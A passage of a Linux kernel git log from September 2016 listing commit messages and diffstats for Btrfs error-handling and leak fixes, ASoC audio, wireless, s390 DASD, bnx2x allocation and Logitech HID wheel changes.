Btrfs: don't leak reloc root nodes on error We don't track the reloc roots in any sort of normal way, so the only way the root/commit_root nodes get free'd is if the relocation finishes successfully and the reloc root is deleted. Fix this by free'ing them in free_reloc_roots. Thanks, Signed-off-by: Josef Bacik Signed-off-by: David Sterba fs/btrfs/relocation.c | 4 ++++ 1 file changed, 4 insertions(+) commit e2c8990734874061d144184dbf0d66e2827c216f Author: Masahiro Yamada Date: Tue Sep 13 04:35:52 2016 +0900 btrfs: squash lines for simple wrapper functions Remove unneeded variables and assignments. Signed-off-by: Masahiro Yamada Reviewed-by: David Sterba Signed-off-by: David Sterba fs/btrfs/check-integrity.c | 7 ++----- fs/btrfs/ctree.c | 4 +--- fs/btrfs/delayed-inode.c | 5 +---- fs/btrfs/extent-tree.c | 12 ++---------- fs/btrfs/send.c | 8 ++------ 5 files changed, 8 insertions(+), 28 deletions(-) commit 020eab35390b976e6b93b61805002d3e2cd195de Author: Nikita Yushchenko Date: Mon Sep 26 13:35:50 2016 +0300 ASoC: tpa6130a2: unmerge power enable error path from power disable path Code undo operations in power enable errror path explicitly, instead of reusing power disable path and playing with return values there. Signed-off-by: Nikita Yushchenko Signed-off-by: Mark Brown sound/soc/codecs/tpa6130a2.c | 18 ++++++++++++------ 1 file changed, 12 insertions(+), 6 deletions(-) commit 6b722c1747d533ac6d4df110dc8233db46918b65 Author: Liu Bo Date: Wed Sep 14 17:23:24 2016 -0700 Btrfs: improve check_node to avoid reading corrupted nodes We need to check items in a node to make sure that we're reading a valid one, otherwise we could get various crashes while processing delayed_refs. Signed-off-by: Liu Bo Reviewed-by: David Sterba Signed-off-by: David Sterba fs/btrfs/disk-io.c | 32 ++++++++++++++++++++++++++++---- 1 file changed, 28 insertions(+), 4 deletions(-) commit 899a247cf6d5bbb9eb799261791441d7d5ea2099 Author: Nikita Yushchenko Date: Mon Sep 26 12:56:51 2016 +0300 ASoC: simple-card: add support for aux devices Add device tree property to define auxiliary devices to be added to simle-audio-card. Together with proper audio routing definition, this allows to use simple-card in setups where separate amplifier chip is connected to codec's output. Signed-off-by: Nikita Yushchenko Signed-off-by: Mark Brown .../devicetree/bindings/sound/simple-card.txt | 37 ++++++++++++++++++++++ sound/soc/generic/simple-card.c | 34 ++++++++++++++++++++ 2 files changed, 71 insertions(+) commit a42cbec9c662ced87f1d0f22a1c114de4cf6e352 Author: Liu Bo Date: Wed Sep 14 17:23:39 2016 -0700 Btrfs: add error handling for extent buffer in print tree Somehow we missed btrfs_print_tree when last time we updated error handling for read_extent_block(). This keeps us from getting a NULL pointer panic when btrfs_print_tree's read_extent_block() fails. Signed-off-by: Liu Bo Signed-off-by: David Sterba fs/btrfs/print-tree.c | 7 +++++++ 1 file changed, 7 insertions(+) commit a43f7f82064220082eba7075c5a844d773fdef1b Author: Liu Bo Date: Tue Sep 13 19:15:48 2016 -0700 Btrfs: remove BUG_ON in start_transaction Since we could get errors from the concurrent aborted transaction, the check of this BUG_ON in start_transaction is not true any more. Say, while flushing free space cache inode's dirty pages, btrfs_finish_ordered_io -> btrfs_join_transaction_nolock (the transaction has been aborted.) -> BUG_ON(type == TRANS_JOIN_NOLOCK); Signed-off-by: Liu Bo Reviewed-by: Josef Bacik Signed-off-by: David Sterba fs/btrfs/transaction.c | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) commit 57a60cc3616c8f5447d914b646a1d6df2ba9cc9d Author: Charles Keepax Date: Mon Sep 26 10:15:24 2016 +0100 ASoC: wm_adsp: Allow preloader to do the final shutdown of the DSP The booting process for the DSP is clearly separated into two parts, the preloader brings up the core and downloads code, then the main widget starts the code actually executing. However the shutdown sequence is all handled with the main widget. To allow the preloading to be run independently of the main audio bring up it makes sense, and is generally just cleaner, for the preloader widget to shutdown those things it initialised. This patch moves the appropriate parts of the shutdown process into the preloader widget. Signed-off-by: Charles Keepax Signed-off-by: Mark Brown sound/soc/codecs/wm_adsp.c | 36 +++++++++++++++++++++--------------- sound/soc/codecs/wm_adsp.h | 2 +- 2 files changed, 22 insertions(+), 16 deletions(-) commit 90d19ba54b428a6bc8cc51ef6c60c6e65e6e2f35 Author: Charles Keepax Date: Mon Sep 26 10:15:23 2016 +0100 ASoC: wm_adsp: Put DSP into low power state between loading and running Between when we load the DSP and when it actually starts running put the core into a lower power state where the memory is retained but nothing is clocked. Signed-off-by: Charles Keepax Signed-off-by: Mark Brown sound/soc/codecs/wm_adsp.c | 18 +++++++++++++++++- 1 file changed, 17 insertions(+), 1 deletion(-) commit 1fa96f3fdad7cef5d043a502682580d2bc3d5ace Author: Charles Keepax Date: Mon Sep 26 10:15:22 2016 +0100 ASoC: wm_adsp: Use usleep_range for short delay Replace the 1ms msleep in wm_adsp2_ena with a usleep_range, as per normal guidance on delay functions. Also tighten up the delay a little as 1ms was quite generous. Signed-off-by: Charles Keepax Signed-off-by: Mark Brown sound/soc/codecs/wm_adsp.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 3eb548ee3a8042d95ad81be254e67a5222c24e03 Author: Liu Bo Date: Wed Sep 14 17:22:57 2016 -0700 Btrfs: memset to avoid stale content in btree node block During updating btree, we could push items between sibling nodes/leaves, for leaves data sections starts reversely from the end of the block while for nodes we only have key pairs which are stored one by one from the start of the block. So we could do try to push key pairs from one node to the next node right in the tree, and after that, we update the node's nritems to reflect the correct end while leaving the stale content in the node. One may intentionally corrupt the fs image and access the stale content by bumping the nritems and causes various crashes. This takes the in-memory @nritems as the correct one and gets to memset the unused part of a btree node. Signed-off-by: Liu Bo Reviewed-by: David Sterba Signed-off-by: David Sterba fs/btrfs/extent_io.c | 11 +++++++++++ 1 file changed, 11 insertions(+) commit 88b456b0f4a2a4c10c141a7d83113a8ce2164463 Author: Mark Brown Date: Mon Sep 26 08:59:50 2016 -0700 ASoC: hdac_hdmi: Drop use of audio component framework to read ELD The audio component framework code has not yet landed in the i915 driver so drop the use of the API for the time being. Signed-off-by: Mark Brown Cc: Jeeja KP sound/soc/codecs/hdac_hdmi.c | 201 +++++++++++++++++++++++++++++++------------ 1 file changed, 145 insertions(+), 56 deletions(-) commit 3561b9db70928f207be4570b48fc19898eeaef54 Author: Liu Bo Date: Wed Sep 14 08:51:46 2016 -0700 Btrfs: return gracefully from balance if fs tree is corrupted When relocating tree blocks, we firstly get block information from back references in the extent tree, we then search fs tree to try to find all parents of a block. However, if fs tree is corrupted, eg. if there're some missing items, we could come across these WARN_ONs and BUG_ONs. This makes us print some error messages and return gracefully from balance. Signed-off-by: Liu Bo Reviewed-by: Josef Bacik Signed-off-by: David Sterba fs/btrfs/relocation.c | 23 +++++++++++++++++------ 1 file changed, 17 insertions(+), 6 deletions(-) commit 9c8e63db1de98c5cc3c6fb32d11b5cf55f228601 Author: Josef Bacik Date: Fri Sep 2 15:40:06 2016 -0400 Btrfs: kill BUG_ON()'s in btrfs_mark_extent_written No reason to bug on in here, fs corruption could easily cause these things to happen. Signed-off-by: Josef Bacik Signed-off-by: David Sterba fs/btrfs/file.c | 41 +++++++++++++++++++++++++++++++++-------- 1 file changed, 33 insertions(+), 8 deletions(-) commit 8436ea91a1c4fd8ed57ff0c0ca482ee3dbe744c7 Author: Josef Bacik Date: Fri Sep 2 15:40:03 2016 -0400 Btrfs: kill the start argument to read_extent_buffer_pages Nobody uses this, it makes no sense to do partial reads of extent buffers. Signed-off-by: Josef Bacik Signed-off-by: David Sterba fs/btrfs/disk-io.c | 13 ++++++------- fs/btrfs/extent_io.c | 28 ++++++++-------------------- fs/btrfs/extent_io.h | 2 +- 3 files changed, 15 insertions(+), 28 deletions(-) commit afcdd129e05a9210a5d19d4aa6e0afa475fc49e2 Author: Josef Bacik Date: Fri Sep 2 15:40:02 2016 -0400 Btrfs: add a flags field to btrfs_fs_info We have a lot of random ints in btrfs_fs_info that can be put into flags. This is mostly equivalent with the exception of how we deal with quota going on or off, now instead we set a flag when we are turning it on or off and deal with that appropriately, rather than just having a pending state that the current quota_enabled gets set to. Thanks, Signed-off-by: Josef Bacik Signed-off-by: David Sterba fs/btrfs/btrfs_inode.h | 11 --------- fs/btrfs/ctree.h | 43 +++++++++++++++++---------------- fs/btrfs/delayed-inode.c | 3 ++- fs/btrfs/delayed-ref.c | 6 +++-- fs/btrfs/disk-io.c | 23 +++++++----------- fs/btrfs/extent-tree.c | 14 +++++------ fs/btrfs/extent_io.c | 7 +++--- fs/btrfs/free-space-tree.c | 6 ++--- fs/btrfs/inode.c | 4 ++-- fs/btrfs/qgroup.c | 55 +++++++++++++++++++++++-------------------- fs/btrfs/relocation.c | 2 +- fs/btrfs/super.c | 2 +- fs/btrfs/tests/qgroup-tests.c | 2 +- fs/btrfs/transaction.c | 24 +++++++++---------- fs/btrfs/tree-log.c | 4 ++-- fs/btrfs/volumes.c | 2 +- 16 files changed, 99 insertions(+), 109 deletions(-) commit ba8b04c1d4adbc66f3653e3de5bd6c74a9a003bf Author: Qu Wenruo Date: Tue Jul 19 16:50:36 2016 +0800 btrfs: extend btrfs_set_extent_delalloc and its friends to support in-band dedupe and subpage size patchset Extend btrfs_set_extent_delalloc() and extent_clear_unlock_delalloc() parameters for both in-band dedupe and subpage sector size patchset. This should reduce conflict of both patchset and the effort to rebase them. Cc: Chandan Rajendra Cc: David Sterba Signed-off-by: Qu Wenruo Signed-off-by: David Sterba fs/btrfs/ctree.h | 2 +- fs/btrfs/extent_io.c | 2 +- fs/btrfs/extent_io.h | 2 +- fs/btrfs/file.c | 2 +- fs/btrfs/inode.c | 40 ++++++++++++++++++++++++++-------------- fs/btrfs/relocation.c | 2 +- fs/btrfs/tests/inode-tests.c | 12 ++++++------ 7 files changed, 37 insertions(+), 25 deletions(-) commit 897a41b1167955bd543bb252fd3f06f5844f2177 Author: Jeff Mahoney Date: Wed Aug 31 23:55:33 2016 -0400 btrfs: add dynamic debug support We can re-use the dynamic debugging descriptor to make use of the dynamic debugging mechanism but still use our own printk interface. Defining the DEBUG macro works as it did before. When it's defined, all of the messages default to print. We can also enable all debug messages at boot or module-load time using the 'dyndbg' and 'btrfs.dyndbg' options. Signed-off-by: Jeff Mahoney Reviewed-by: David Sterba Signed-off-by: David Sterba fs/btrfs/ctree.h | 31 ++++++++++++++++++++++++++++++- 1 file changed, 30 insertions(+), 1 deletion(-) commit 2309e79650100073ca8347279690742777c6698b Author: Luis Henriques Date: Tue Aug 23 23:23:23 2016 +0100 btrfs: Fix warning "variable ‘gen’ set but not used" Variable 'gen' in reada_for_search() is not used since commit 58dc4ce43251 ("btrfs: remove unused parameter from readahead_tree_block"). This patch simply removes this variable. Signed-off-by: Luis Henriques Reviewed-by: David Sterba Signed-off-by: David Sterba fs/btrfs/ctree.c | 2 -- 1 file changed, 2 deletions(-) commit 1f079fa2f8c5ddf0020c7fd820b2393564567a2a Author: Luis Henriques Date: Tue Aug 23 23:23:53 2016 +0100 btrfs: Fix warning "variable ‘blocksize’ set but not used" Variable 'blocksize' in reada_walk_down() is not used since commit d3e46fea1b1e ("btrfs: sink blocksize parameter to readahead_tree_block"). This patch simply removes this variable. Signed-off-by: Luis Henriques Reviewed-by: David Sterba Signed-off-by: David Sterba fs/btrfs/extent-tree.c | 2 -- 1 file changed, 2 deletions(-) commit 5d8eb6fe517583f9c6d5b94faf2254a0207a45c9 Author: Naohiro Aota Date: Fri Sep 2 16:46:32 2016 +0900 btrfs: let btrfs_delete_unused_bgs() to clean relocated bgs Currently, btrfs_relocate_chunk() is removing relocated BG by itself. But the work can be done by btrfs_delete_unused_bgs() (and it's better since it trim the BG). Let's dedupe the code. While btrfs_delete_unused_bgs() is already hitting the relocated BG, it skip the BG since the BG has "ro" flag set (to keep balancing BG intact). On the other hand, btrfs cannot drop "ro" flag here to prevent additional writes. So this patch make use of "removed" flag. btrfs_delete_unused_bgs() now detect the flag to distinguish whether a read-only BG is relocating or not. Signed-off-by: Naohiro Aota Reviewed-by: Josef Bacik Signed-off-by: David Sterba fs/btrfs/extent-tree.c | 2 +- fs/btrfs/volumes.c | 24 ++++++++++-------------- 2 files changed, 11 insertions(+), 15 deletions(-) commit 49303381f19ab16a371a061b67e783d3f570d56e Author: Liu Bo Date: Thu Aug 25 18:08:27 2016 -0700 Btrfs: bail out if block group has different mixed flag Currently we allow inconsistence about mixed flag (BTRFS_BLOCK_GROUP_METADATA | BTRFS_BLOCK_GROUP_DATA). We'd get ENOSPC if block group has mixed flag and btrfs doesn't. If that happens, we have one space_info with mixed flag and another space_info only with BTRFS_BLOCK_GROUP_METADATA, and global_block_rsv.space_info points to the latter one, but all bytes from block_group contributes to the mixed space_info, thus all the allocation will fail with ENOSPC. This adds a check for the above case. Reported-by: Vegard Nossum Signed-off-by: Liu Bo [ updated message ] Reviewed-by: David Sterba Signed-off-by: David Sterba fs/btrfs/extent-tree.c | 14 ++++++++++++++ 1 file changed, 14 insertions(+) commit 2571e739677f1e4c0c63f5ed49adcc0857923625 Author: Liu Bo Date: Wed Aug 3 12:33:01 2016 -0700 Btrfs: fix memory leak in reading btree blocks So we can read a btree block via readahead or intentional read, and we can end up with a memory leak when something happens as follows, 1) readahead starts to read block A but does not wait for read completion, 2) btree_readpage_end_io_hook finds that block A is corrupted, and it needs to clear all block A's pages' uptodate bit. 3) meanwhile an intentional read kicks in and checks block A's pages' uptodate to decide which page needs to be read. 4) when some pages have the uptodate bit during 3)'s check so 3) doesn't count them for eb->io_pages, but they are later cleared by 2) so we has to readpage on the page, we get the wrong eb->io_pages which results in a memory leak of this block. This fixes the problem by firstly getting all pages's locking and then checking pages' uptodate bit. t1(readahead) t2(readahead endio) t3(the following read) read_extent_buffer_pages end_bio_extent_readpage for pg in eb: for page 0,1,2 in eb: if pg is uptodate: btree_readpage_end_io_hook(pg) num_reads++ if uptodate: eb->io_pages = num_reads SetPageUptodate(pg) _______________ for pg in eb: for page 3 in eb: read_extent_buffer_pages if pg is NOT uptodate: btree_readpage_end_io_hook(pg) for pg in eb: __extent_read_full_page(pg) sanity check reports something wrong if pg is uptodate: clear_extent_buffer_uptodate(eb) num_reads++ for pg in eb: eb->io_pages = num_reads ClearPageUptodate(page) _______________ for pg in eb: if pg is NOT uptodate: __extent_read_full_page(pg) So t3's eb->io_pages is not consistent with the number of pages it's reading, and during endio(), atomic_dec_and_test(&eb->io_pages) will get a negative number so that we're not able to free the eb. Signed-off-by: Liu Bo Reviewed-by: David Sterba Signed-off-by: David Sterba fs/btrfs/extent_io.c | 9 +++++++++ 1 file changed, 9 insertions(+) commit e46a28ca3d0dce8d939b10d4c94eaa2307b6415a Author: Liu Bo Date: Fri Jul 29 10:57:55 2016 -0700 Btrfs: remove BUG() in raid56 This BUG() has been triggered by a fuzz testing image, which contains an invalid chunk type, ie. a single stripe chunk has the raid6 type. Btrfs can handle this gracefully by returning -EIO, so besides using btrfs_warn to give us more debugging information rather than a single BUG(), we can return error properly. Signed-off-by: Liu Bo Reviewed-by: David Sterba Signed-off-by: David Sterba fs/btrfs/raid56.c | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) commit afce772e87c36c7f07f230a76d525025aaf09e41 Author: Lu Fengqi Date: Mon Jun 13 09:36:46 2016 +0800 btrfs: fix check_shared for fiemap ioctl Only in the case of different root_id or different object_id, check_shared identified extent as the shared. However, If a extent was referred by different offset of same file, it should also be identified as shared. In addition, check_shared's loop scale is at least n^3, so if a extent has too many references, even causes soft hang up. First, add all delayed_ref to the ref_tree and calculate the unqiue_refs, if the unique_refs is greater than one, return BACKREF_FOUND_SHARED. Then individually add the on-disk reference(inline/keyed) to the ref_tree and calculate the unique_refs of the ref_tree to check if the unique_refs is greater than one.Because once there are two references to return SHARED, so the time complexity is close to the constant. Reported-by: Tsutomu Itoh Signed-off-by: Lu Fengqi Signed-off-by: David Sterba fs/btrfs/backref.c | 361 +++++++++++++++++++++++++++++++++++++++++++++++++-- fs/btrfs/extent_io.c | 18 ++- 2 files changed, 369 insertions(+), 10 deletions(-) commit b0de6c4c81099494d7863a31db06366f74395cda Author: David Sterba Date: Thu Sep 1 14:37:53 2016 +0200 btrfs: create example debugfs file only in debugging build Reviewed-by: Eric Sandeen Signed-off-by: David Sterba fs/btrfs/sysfs.c | 9 +++++++++ 1 file changed, 9 insertions(+) commit 07f6a480436595394a06a69d0ebc18fef6736197 Author: Eric Sandeen Date: Wed Aug 31 16:49:29 2016 -0500 btrfs: fix perms on demonstration debugfs interface btrfs provides a helpful demonstration of how to export a global variable via debugfs; however, it is unique among other debugfs files in that it is world-writable, which causes some concern to people who are not familiar with its purpose. Fix it so that it is only user-writable. Signed-off-by: Eric Sandeen Reviewed-by: David Sterba Signed-off-by: David Sterba fs/btrfs/sysfs.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c79a175175d5a908a7c4d923d44f36808f56536e Author: Liu Bo Date: Wed Jul 20 17:44:12 2016 -0700 Btrfs: fix memory leak of block group cache While processing delayed refs, we may update block group's statistics and attach it to cur_trans->dirty_bgs, and later writing dirty block groups will process the list, which happens during btrfs_commit_transaction(). For whatever reason, the transaction is aborted and dirty_bgs is not processed in cleanup_transaction(), we end up with memory leak of these dirty block group cache. Since btrfs_start_dirty_block_groups() doesn't make it go to the commit critical section, this also adds the cleanup work inside it. Signed-off-by: Liu Bo Signed-off-by: David Sterba fs/btrfs/disk-io.c | 71 ++++++++++++++++++++++++++++++++++++++++++++++++++ fs/btrfs/disk-io.h | 2 ++ fs/btrfs/extent-tree.c | 2 ++ 3 files changed, 75 insertions(+) commit 5ff00f6aa84b7f4203f525fc6c4a4291e32c314d Author: Eric Jeong Date: Mon Sep 26 16:33:27 2016 +0900 regulator: pv88080: Update regulator for PV88080 BB silicon support Three files are modified, the driver, header file and the binding document. Updates for the regulator source file include and .of_match_table entry and node match checking in the probe() function for a compatible pv88080 silicon type. A new "HVBUCK" is added in source file and added regsiter definition in header file for pv88080 bb silicion. The binding documentation changes have been made to reflect these updates. Signed-off-by: Eric Jeong Signed-off-by: Mark Brown .../devicetree/bindings/regulator/pv88080.txt | 23 +- drivers/regulator/pv88080-regulator.c | 263 ++++++++++++++++++--- drivers/regulator/pv88080-regulator.h | 114 +++++---- 3 files changed, 322 insertions(+), 78 deletions(-) commit 89951db2be53106edbe0d24b3b5f9a787326daf6 Author: Ganapathi Bhat Date: Tue Sep 20 18:46:23 2016 +0530 mwifiex: cfg80211 set_default_mgmt_key handler Previously device used to start using IGTK key as Tx key as soon as it gets downloaded in add_key(). This patch implements set_default_mgmt_key handler. We will update Tx key ID in set_default_mgmt_key(). Signed-off-by: Ganapathi Bhat Signed-off-by: Amitkumar Karwar Signed-off-by: Kalle Valo drivers/net/wireless/marvell/mwifiex/cfg80211.c | 24 ++++++++++++++++++++++++ drivers/net/wireless/marvell/mwifiex/fw.h | 1 + drivers/net/wireless/marvell/mwifiex/ioctl.h | 1 + drivers/net/wireless/marvell/mwifiex/sta_cmd.c | 5 +++++ 4 files changed, 31 insertions(+) commit 33e40d025ed82fcab102035db38a727c914399a4 Author: Tony Lindgren Date: Sat Sep 17 09:06:33 2016 -0700 wlcore: wl18xx: Use chip specific configuration firmware Use the wl18xx specific config firmware we now have available. Signed-off-by: Tony Lindgren Signed-off-by: Kalle Valo drivers/net/wireless/ti/wl18xx/main.c | 19 ++++++++++--------- 1 file changed, 10 insertions(+), 9 deletions(-) commit 3e1ac932682b1377ae1c9d6283f0b88e28fb227d Author: Tony Lindgren Date: Sat Sep 17 09:06:32 2016 -0700 wlcore: Fix config firmware loading issues Booting multiple wl12xx and wl18xx devices using the same rootfs is a pain. You currently have to symlink the right nvs file depending on the wl12xx type. For example, with wl1271-nvs.bin being a symlink to wl127x-nvs.bin by default and trying to bring up a wl128x based device: wlcore: ERROR nvs size is not as expected: 1113 != 912 wlcore: ERROR NVS file is needed during boot wlcore: ERROR NVS file is needed during boot wlcore: ERROR firmware boot failed despite 3 retries Note that wl18xx uses a separate config firmware wl18xx-conf.bin that can be generated with tools using the following two git repos: git.ti.com/wilink8-wlan/18xx-ti-utils git.ti.com/wilink8-wlan/wl18xx_fw So let's not configure the nvs file for wl18xx as it's not needed AFAIK. If it turns out that we also need the nvs file for wl18xx, we can just add it to the config firmware data for wl18xx. Let's fix the issue by using the chip specific config firmware data, and make sure we produce understandable warnings if something is missing. Signed-off-by: Tony Lindgren Signed-off-by: Kalle Valo drivers/net/wireless/ti/wlcore/boot.c | 15 +++++++++---- drivers/net/wireless/ti/wlcore/main.c | 36 ++++++++++++++++++++----------- drivers/net/wireless/ti/wlcore/wlcore_i.h | 7 ------ 3 files changed, 35 insertions(+), 23 deletions(-) commit c815fdebef444d591f57a1e90dcfa0e2f8112e10 Author: Tony Lindgren Date: Sat Sep 17 09:06:31 2016 -0700 wlcore: spi: Populate config firmware data Configure the config firmware names and make it available in platform data. Let's also fix the order of the struct wilink_family_data while at it. Signed-off-by: Tony Lindgren Signed-off-by: Kalle Valo drivers/net/wireless/ti/wlcore/spi.c | 42 ++++++++++++++++++++---------------- 1 file changed, 24 insertions(+), 18 deletions(-) commit d776fc86b82ffd7cfe9eb4182cc398cb8ab4199c Author: Tony Lindgren Date: Sat Sep 17 09:06:30 2016 -0700 wlcore: sdio: Populate config firmware data Configure the config firmware names and make it available in platform data. Signed-off-by: Tony Lindgren Signed-off-by: Kalle Valo drivers/net/wireless/ti/wlcore/sdio.c | 76 ++++++++++++++++++++++------------- 1 file changed, 47 insertions(+), 29 deletions(-) commit a762bb8ecb899d1e058b51f3daba4e1ed42b3479 Author: Tony Lindgren Date: Sat Sep 17 09:06:29 2016 -0700 wlcore: Prepare family to fix nvs file handling Move struct wilink_family_data to be available for all TI WLAN variants. And fix familiy typo, it should be just family. Looks like wl12xx use two different nvs.bin files and wl18xx uses a different conf.bin file. Signed-off-by: Tony Lindgren Signed-off-by: Kalle Valo drivers/net/wireless/ti/wlcore/spi.c | 12 ++++-------- drivers/net/wireless/ti/wlcore/wlcore_i.h | 7 +++++++ 2 files changed, 11 insertions(+), 8 deletions(-) commit f50af850f407df7b548802461bc248c7683c6dd3 Author: Stefan Haberland Date: Thu Sep 22 10:49:40 2016 +0200 s390/dasd: make query host access interruptible If the DASD device gets blocked for any reason, e.g. because it is reserved somewhere, the host_access_count sysfs entry or the host_access_list debugfs entry may sleep forever. Make it interruptible so that userspace can use ^C to abort the operation. Signed-off-by: Stefan Haberland Signed-off-by: Martin Schwidefsky drivers/s390/block/dasd_eckd.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit c020d722b110a44c613ef71e657e6dd4116e09d9 Author: Stefan Haberland Date: Tue Sep 20 10:42:38 2016 +0200 s390/dasd: fix panic during offline processing A DASD device consists of the device itself and a discipline with a corresponding private structure. These fields are set up during online processing right after the device is created and before it is processed by the state machine and made available for I/O. During offline processing the discipline pointer and the private data gets freed within the state machine and without protection of the existing reference count. This might lead to a kernel panic because a function might have taken a device reference and accesses the discipline pointer and/or private data of the device while this is already freed. Fix by freeing the discipline pointer and the private data after ensuring that there is no reference to the device left. Reviewed-by: Peter Oberparleiter Signed-off-by: Stefan Haberland Signed-off-by: Martin Schwidefsky drivers/s390/block/dasd.c | 26 ++++++++++++++++---------- drivers/s390/block/dasd_devmap.c | 1 + drivers/s390/block/dasd_int.h | 1 + 3 files changed, 18 insertions(+), 10 deletions(-) commit a9f6273ff9c80dd2c226f7a2d5c16272e5092d3e Author: Stefan Haberland Date: Tue Sep 20 10:29:22 2016 +0200 s390/dasd: fix hanging offline processing Internal I/O is processed by the _sleep_on_function which might wait for a device to get operational. During offline processing this will never happen and therefore the refcount of the device will not drop to zero and the offline processing blocks as well. Fix by letting requests fail in the _sleep_on function during offline processing. No further handling of the requests is necessary since this is internal I/O and the device is thrown away afterwards. Reviewed-by: Peter Oberparleiter Signed-off-by: Stefan Haberland Signed-off-by: Martin Schwidefsky drivers/s390/block/dasd.c | 9 +++++++++ 1 file changed, 9 insertions(+) commit be92e538c2727e917ede78d022de8d64381dc213 Merge: b47c62c 3129e15 Author: David S. Miller Date: Mon Sep 26 09:43:12 2016 -0400 Merge branch 'bnx2x-fix-page-allocation-failure' Jason Baron says: ==================== bnx2x: page allocation failure While configuring ~500 multicast addrs, we ran into high order page allocation failures. They don't need to be high order, and thus I'm proposing to split them into at most PAGE_SIZE allocations. Below is a sample failure. [1201902.617882] bnx2x: [bnx2x_set_mc_list:12374(eth0)]Failed to create multicast MACs list: -12 [1207325.695021] kworker/1:0: page allocation failure: order:2, mode:0xc020 [1207325.702059] CPU: 1 PID: 15805 Comm: kworker/1:0 Tainted: G W [1207325.712940] Hardware name: SYNNEX CORPORATION 1x8-X4i SSD 10GE/S5512LE, BIOS V8.810 05/16/2013 [1207325.722284] Workqueue: events bnx2x_sp_rtnl_task [bnx2x] [1207325.728206] 0000000000000000 ffff88012d873a78 ffffffff8267f7c7 000000000000c020 [1207325.736754] 0000000000000000 ffff88012d873b08 ffffffff8212f8e0 fffffffc00000003 [1207325.745301] ffff88041ffecd80 ffff880400000030 0000000000000002 0000c0206800da13 [1207325.753846] Call Trace: [1207325.756789] [] dump_stack+0x4d/0x63 [1207325.762426] [] warn_alloc_failed+0xe0/0x130 [1207325.768756] [] ? wakeup_kswapd+0x48/0x140 [1207325.774914] [] __alloc_pages_nodemask+0x2bc/0x970 [1207325.781761] [] alloc_pages_current+0x91/0x100 [1207325.788260] [] alloc_kmem_pages+0xe/0x10 [1207325.794329] [] kmalloc_order+0x18/0x50 [1207325.800227] [] kmalloc_order_trace+0x26/0xb0 [1207325.806642] [] ? _xfer_secondary_pool+0xa8/0x1a0 [1207325.813404] [] __kmalloc+0x19a/0x1b0 [1207325.819142] [] bnx2x_set_rx_mode_inner+0x3d5/0x590 [bnx2x] [1207325.827000] [] bnx2x_sp_rtnl_task+0x28d/0x760 [bnx2x] [1207325.834197] [] process_one_work+0x134/0x3c0 [1207325.840522] [] worker_thread+0x121/0x460 [1207325.846585] [] ? process_one_work+0x3c0/0x3c0 [1207325.853089] [] kthread+0xc9/0xe0 [1207325.858459] [] ? notify_die+0x10/0x40 [1207325.864263] [] ? kthread_create_on_node+0x180/0x180 [1207325.871288] [] ret_from_fork+0x42/0x70 [1207325.877183] [] ? kthread_create_on_node+0x180/0x180 v2: -make use of list_next_entry() -only use PAGE_SIZE allocations ==================== Signed-off-by: David S. Miller commit 3129e1599c6edfafc2a0a8be9f2eb344c7feb920 Author: Jason Baron Date: Thu Sep 22 17:12:26 2016 -0400 bnx2x: allocate mac filtering pending list in PAGE_SIZE increments Currently, we can have high order page allocations that specify GFP_ATOMIC when configuring multicast MAC address filters. For example, we have seen order 2 page allocation failures with ~500 multicast addresses configured. Convert the allocation for the pending list to be done in PAGE_SIZE increments. Signed-off-by: Jason Baron Cc: Yuval Mintz Cc: Ariel Elior Acked-by: Yuval Mintz Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/bnx2x/bnx2x_sp.c | 123 +++++++++++++++++-------- 1 file changed, 86 insertions(+), 37 deletions(-) commit e8c6ae9fbf8ca70ef0c2de0d2f3995acb0dc8968 Author: Jason Baron Date: Thu Sep 22 17:12:25 2016 -0400 bnx2x: allocate mac filtering 'mcast_list' in PAGE_SIZE increments Currently, we can have high order page allocations that specify GFP_ATOMIC when configuring multicast MAC address filters. For example, we have seen order 2 page allocation failures with ~500 multicast addresses configured. Convert the allocation for 'mcast_list' to be done in PAGE_SIZE increments. Signed-off-by: Jason Baron Cc: Yuval Mintz Cc: Ariel Elior Signed-off-by: David S. Miller drivers/net/ethernet/broadcom/bnx2x/bnx2x_main.c | 79 +++++++++++++++--------- 1 file changed, 51 insertions(+), 28 deletions(-) commit f777a3a7bd44509d42ecd57135cdb463ea7f023e Author: Simon Wood Date: Sun Sep 18 10:55:42 2016 -0600 HID: hid-logitech: Documentation updates/corrections Signed-off-by: Simon Wood Signed-off-by: Jiri Kosina .../ABI/testing/sysfs-driver-hid-logitech-lg4ff | 6 ++++++ drivers/hid/Kconfig | 23 +++++++++++++--------- 2 files changed, 20 insertions(+), 9 deletions(-) commit 560bea30ff9dd4823d8f611aaab88d3c3f9c7d8d Author: Simon Wood Date: Sun Sep 18 10:55:41 2016 -0600 HID: hid-logitech: Improve Wingman Formula Force GP support Move ForceFeedback support for the Formula Force GP into hid-lgff4 and re-write HID descriptor, thus allowing combined pedals or not as user desires. Signed-off-by: Simon Wood Signed-off-by: Jiri Kosina drivers/hid/hid-lg.c | 59 ++++++++++++++++++++++++++++++++++++++++++++++++- drivers/hid/hid-lg4ff.c | 2 ++ 2 files changed, 60 insertions(+), 1 deletion(-) commit 7363b25af33251d036a4bedb7daed1e6bc395142 Author: Simon Wood Date: Sun Sep 18 10:55:40 2016 -0600 HID: hid-logitech: Rewrite of descriptor for all DF wheels Rewrite the HID descriptor for _all_ Driving Force wheels (real or emulated) so that they can report separate Accelerator and Brake axis. If the user wants a combined accel/brake axis, they can use the 'combined pedals' feature. $ echo 1 > /sys/bus/hid/devices//combine_pedals Signed-off-by: Simon Wood Signed-off-by: Jiri Kosina drivers/hid/hid-lg.c | 15 +-------------- 1 file changed, 1 insertion(+), 14 deletions(-) commit b456634b8d08b184a437bba55ac0efe7ef02d3b3 Author: Simon Wood Date: Sun Sep 18 10:55:39 2016 -0600 HID: hid-logitech: Compute combined pedals value Add support for computing a combined accelerator/brake axis for wheels which don't contain combined data in their HID stream. This includes DFGT, G25, G27, G29 and Wii-Wheel. Signed-off-by: Simon Wood Signed-off-by: Jiri Kosina drivers/hid/hid-lg4ff.c | 17 +++++++++++++++++ 1 file changed, 17 insertions(+) commit c832f86effbcf8833fc2c842aa501ce1eb4d0478 Author: Simon Wood Date: Sun Sep 18 10:55:38 2016 -0600 HID: hid-logitech: Add combined pedal support Logitech wheels Add support for reporting a combined accelerator/brake axis for wheels which contain combined data 